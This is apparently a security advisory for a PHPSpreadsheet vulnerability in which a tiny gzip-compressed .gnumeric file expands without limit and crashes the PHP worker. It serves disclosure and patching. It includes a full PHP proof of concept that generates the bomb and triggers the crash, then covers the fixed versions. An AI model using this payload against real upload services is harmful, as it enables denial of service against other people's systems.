CVE-2026-59932: PHPSpreadsheet Gnumeric Reader Gzip Bomb (DoS)
Uploading a tiny crafted .gnumeric file to any app using PHPSpreadsheet can crash the PHP worker by tricking the Gnumeric reader into expanding a gzip bomb with no size limit, exhausting server…
The problem
The Gnumeric reader in PHPSpreadsheet calls gzfileGetContents() from canRead(), listWorksheetNames(), and load(). Inside that helper, file_get_contents() slurps the whole file into memory, then gzdecode() expands it with no cap on output size.
This means a ~95 KB compressed .gnumeric file can force ~96 MiB of allocation. Under a typical memory_limit=64M, PHP fatal-errors at Gnumeric.php:195 during canRead(), before any XML or structural check has run. Any upload pipeline that calls the Gnumeric reader, even just for type detection, is reachable.
Proof of concept
A working proof-of-concept for CVE-2026-59932 in phpoffice/phpspreadsheet, with the exact payload below.
<?php
// Step 1: generate the bomb (run once)
$prefix = '<?xml version="1.0"?><gnm:Workbook xmlns:gnm="http://www.gnumeric.org/v10.dtd">';
$suffix = '</gnm:Workbook>';
$payload = $prefix . str_repeat('A', 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents('/tmp/bomb.gnumeric', $gz);
// compressed_size ~97811 bytes, expanded_size ~100663390 bytes
// Step 2: trigger (PHP fatal under memory_limit=64M)
require 'vendor/autoload.php';
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
$r->canRead('/tmp/bomb.gnumeric');
// PHP Fatal error: Allowed memory size of 67108864 bytes exhausted
// (tried to allocate 50291378 bytes) in Reader/Gnumeric.php on line 195The root cause is unbounded decompression: gzdecode($contents) at Gnumeric.php:195 receives the entire compressed file and returns the full expanded string before any size check or XML validation occurs. CWE-409 (Improper Handling of Highly Compressed Data) and CWE-400 (Uncontrolled Resource Consumption) both apply.
The patch in 5.8.1 (commit 85f2556) adds a decompressed-size guard inside gzfileGetContents(), failing closed with a Reader\Exception when the expanded output exceeds a configured maximum, so the fatal OOM is never reached. The same bounded path is now shared by all four entry points (canRead, listWorksheetNames, listWorksheetInfo, load) so none of them can trigger unbounded expansion.
The fix
Upgrade phpoffice/phpspreadsheet to **5.8.1** or later. For older maintained branches, back-ported fixes are available in 1.30.6, 2.1.18, 2.4.7, and 3.10.7. There is no configuration-only workaround; the decompression limit is enforced in the library code itself.
If you cannot upgrade immediately, reject .gnumeric uploads at the application layer before they reach the reader.
Reported by sondt23.
Related research
- high · 7.5CVE-2026-59933CVE-2026-59933: PHPSpreadsheet OLE Sector-Chain Infinite Loop (DoS)
- high · 7.7CVE-2026-59931CVE-2026-59931: PHPSpreadsheet SSRF Whitelist Bypass via HTTP Redirect in WEBSERVICE()
- high · 8.8CVE-2026-55578CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
- critical · 9.8CVE-2026-55579CVE-2026-55579: Pheditor Hardcoded Default Password Enables Unauthenticated RCE